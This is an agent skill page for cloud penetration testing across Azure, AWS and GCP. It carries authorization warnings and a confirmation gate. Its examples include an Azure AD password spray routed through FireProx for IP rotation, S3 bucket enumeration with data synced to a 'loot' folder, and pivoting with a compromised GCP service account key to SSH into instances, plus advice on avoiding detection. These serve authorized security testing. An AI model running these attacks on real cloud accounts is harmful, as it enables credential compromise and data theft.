# Cloud Penetration Testing

> Conduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP).

- Skill: `ranbot-ai/cloud-penetration-testing` (Agent Skill)
- Install (CLI): `npx skillmds add ranbot-ai/cloud-penetration-testing`
- Raw SKILL.md: https://api.skillmd.com/api/skills/ranbot-ai/cloud-penetration-testing/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: DevOps & Infra
- Author: ranbot-ai (https://skillmd.com/u/ranbot-ai)
- Updated: 2026-09-08
- Page: https://skillmd.com/skills/ranbot-ai/cloud-penetration-testing

---



> **⚠️ AUTHORIZED USE ONLY**
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.

> **Mandatory confirmation gate**
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

# Cloud Penetration Testing

## Detailed Guide

Read [the detailed guide](references/detailed-guide.md) before executing this skill. It retains the complete procedure and reference material. Treat its safety, prerequisites, and validation requirements as mandatory. For focused work, load the relevant sections; for end-to-end work, read the guide completely.

## Prerequisites

### Required Tools
```bash
# Azure tools
Install-Module -Name Az -AllowClobber -Force
Install-Module -Name MSOnline -Force
Install-Module -Name AzureAD -Force

# AWS CLI
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip && sudo ./aws/install

# GCP CLI
tmpdir="$(mktemp -d)"
trap 'rm -rf "$tmpdir"' EXIT
curl -fsSLo "$tmpdir/google-cloud-sdk-install.sh" https://sdk.cloud.google.com
cat "$tmpdir/google-cloud-sdk-install.sh"  # review the full installer before executing
bash "$tmpdir/google-cloud-sdk-install.sh"
gcloud init

# Additional tools
pip install scoutsuite pacu
```

### Required Knowledge
- Cloud architecture fundamentals
- Identity and Access Management (IAM)
- API authentication mechanisms
- DevOps and automation concepts

### Required Access
- Written authorization for testing
- Test credentials or access tokens
- Defined scope and rules of engagement

## Constraints and Limitations

### Legal Requirements
- Only test with explicit written authorization
- Respect scope boundaries between cloud accounts
- Do not access production customer data
- Document all testing activities

### Technical Limitations
- MFA may prevent credential-based attacks
- Conditional Access policies may restrict access
- CloudTrail/Activity Logs record all API calls
- Some resources require specific regional access

### Detection Considerations
- Cloud providers log all API activity
- Unusual access patterns trigger alerts
- Use slow, deliberate enumeration
- Consider GuardDuty, Security Center, Cloud Armor

## Examples

### Example 1: Azure Password Spray

**Scenario:** Test Azure AD password policy

```powershell
# Using MSOLSpray with FireProx for IP rotation
# First create FireProx endpoint
python fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create

# Spray passwords
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\users.txt -Password "Spring2024!" -URL https://<api-gateway>.execute-api.us-east-1.amazonaws.com/fireprox
```

### Example 2: AWS S3 Bucket Enumeration

**Scenario:** Find and access misconfigured S3 buckets

```bash
# List all buckets
aws s3 ls | awk '{print $3}' > buckets.txt

# Check each bucket for contents
while read bucket; do
    echo "Checking: $bucket"
    aws s3 ls s3://$bucket 2>/dev/null
done < buckets.txt

# Download interesting bucket
aws s3 sync s3://misconfigured-bucket ./loot/
```

### Example 3: GCP Service Account Compromise

**Scenario:** Pivot using compromised service account

```bash
# Authenticate with service account key
gcloud auth activate-service-account --key-file compromised-sa.json

# List accessible projects
gcloud projects list

# Enumerate compute instances
gcloud compute instances list --project target-project

# Check for SSH keys in metadata
gcloud compute project-info describe --project target-project | grep ssh

# SSH to instance
gcloud beta compute ssh instance-name --zone us-central1-a --project target-project
```

## When to Use
This skill is applicable to execute the workflow or actions described in the overview.